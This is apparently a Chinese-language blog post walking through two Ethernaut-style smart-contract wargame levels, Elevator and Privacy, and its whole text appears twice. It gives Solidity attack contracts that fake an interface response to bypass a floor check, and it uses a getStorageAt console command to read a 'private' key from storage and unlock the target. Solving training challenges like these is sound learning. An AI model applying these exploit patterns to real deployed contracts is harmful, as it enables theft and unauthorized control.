
Subscribe to hujiawei

Subscribe to hujiawei
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers
1.在remix.ethereum.org 中新建,命名为Eth11.sol .复制11题目的源代码并且Compile。
2.新建另一个文件 ,粘贴以下代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Eth11.sol'; contract ElevatorAttack { bool public toggle = true; Elevator public target; constructor(address _targetAddress) public { target = Elevator(_targetAddress); } function isLastFloor(uint) public returns(bool) { toggle = !toggle; return toggle; } function setTop(uint _floor) public { target.goTo(_floor); }}
Compile 这个合约。
部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。
1.在remix.ethereum.org 中新建,命名为Eth12.sol .复制11题目的源代码并且Compile。
2.新建另一个文件 ,粘贴以下代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Eth12.sol'; contract PrivacyAttack { Privacy target; constructor(address _targetAddress) public { target = Privacy(_targetAddress); } function unlock(bytes32 _slotValue) public { bytes16 key = bytes16(_slotValue); target.unlock(key); }}
Compile 这个合约。
部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。
钱包确认后,在谷歌浏览器开发者工具中输入:
await web3.eth.getStorageAt(contract.address, 5, console.log)
复制回车后得到的结果(单引号内的字符串)粘贴到下图位置:

然后点击unlock,待钱包确认后提交测试,进入下一个测试。
1.在remix.ethereum.org 中新建,命名为Eth11.sol .复制11题目的源代码并且Compile。
2.新建另一个文件 ,粘贴以下代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Eth11.sol'; contract ElevatorAttack { bool public toggle = true; Elevator public target; constructor(address _targetAddress) public { target = Elevator(_targetAddress); } function isLastFloor(uint) public returns(bool) { toggle = !toggle; return toggle; } function setTop(uint _floor) public { target.goTo(_floor); }}
Compile 这个合约。
部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。
1.在remix.ethereum.org 中新建,命名为Eth12.sol .复制11题目的源代码并且Compile。
2.新建另一个文件 ,粘贴以下代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './Eth12.sol'; contract PrivacyAttack { Privacy target; constructor(address _targetAddress) public { target = Privacy(_targetAddress); } function unlock(bytes32 _slotValue) public { bytes16 key = bytes16(_slotValue); target.unlock(key); }}
Compile 这个合约。
部署这个合约。其中合约地址栏出填写谷歌浏览器开发者中提供的地址。
钱包确认后,在谷歌浏览器开发者工具中输入:
await web3.eth.getStorageAt(contract.address, 5, console.log)
复制回车后得到的结果(单引号内的字符串)粘贴到下图位置:

然后点击unlock,待钱包确认后提交测试,进入下一个测试。
No activity yet